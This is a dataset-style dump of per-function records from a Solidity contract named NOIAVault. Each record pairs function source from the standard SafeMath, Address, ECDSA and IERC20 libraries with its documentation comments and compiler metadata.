/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */
NatSpecMultiLine
mul
function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; }
/** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 1142, 1617 ] }
7,058
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } }
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */
NatSpecMultiLine
div
function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; }
/** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 2080, 2418 ] }
7,059
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } }
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */
NatSpecMultiLine
mod
function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; }
/** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 2870, 3027 ] }
7,060
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * > It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } }
/** * @dev Collection of functions related to the address type, */
NatSpecMultiLine
isContract
function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; }
/** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * > It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 455, 882 ] }
7,061
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
ECDSA
library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * (.note) This call _does not revert_ if the signature is invalid, or * if the signer is otherwise unable to be retrieved. In those scenarios, * the zero address is returned. * * (.warning) `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise) * be too long), and then calling `toEthSignedMessageHash` on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return address(0); } if (v != 27 && v != 28) { return address(0); } // If the signature is valid (and not malleable), return the signer address return ecrecover(hash, v, r, s); } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * [`eth_sign`](https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign) * JSON-RPC method. * * See `recover`. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } }
/** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */
NatSpecMultiLine
recover
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return address(0); } if (v != 27 && v != 28) { return address(0); } // If the signature is valid (and not malleable), return the signer address return ecrecover(hash, v, r, s); }
/** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * (.note) This call _does not revert_ if the signature is invalid, or * if the signer is otherwise unable to be retrieved. In those scenarios, * the zero address is returned. * * (.warning) `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise) * be too long), and then calling `toEthSignedMessageHash` on it. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 1013, 2945 ] }
7,062
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
ECDSA
library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * (.note) This call _does not revert_ if the signature is invalid, or * if the signer is otherwise unable to be retrieved. In those scenarios, * the zero address is returned. * * (.warning) `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise) * be too long), and then calling `toEthSignedMessageHash` on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return address(0); } if (v != 27 && v != 28) { return address(0); } // If the signature is valid (and not malleable), return the signer address return ecrecover(hash, v, r, s); } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * [`eth_sign`](https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign) * JSON-RPC method. * * See `recover`. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } }
/** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */
NatSpecMultiLine
toEthSignedMessageHash
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); }
/** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * [`eth_sign`](https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign) * JSON-RPC method. * * See `recover`. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 3216, 3490 ] }
7,063
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */
NatSpecMultiLine
totalSupply
function totalSupply() external view returns (uint256);
/** * @dev Returns the amount of tokens in existence. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 94, 154 ] }
7,064
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */
NatSpecMultiLine
balanceOf
function balanceOf(address account) external view returns (uint256);
/** * @dev Returns the amount of tokens owned by `account`. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 237, 310 ] }
7,065
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 534, 616 ] }
7,066
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */
NatSpecMultiLine
allowance
function allowance(address owner, address spender) external view returns (uint256);
/** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 895, 983 ] }
7,067
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) external returns (bool);
/** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 1638, 1717 ] }
7,068
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
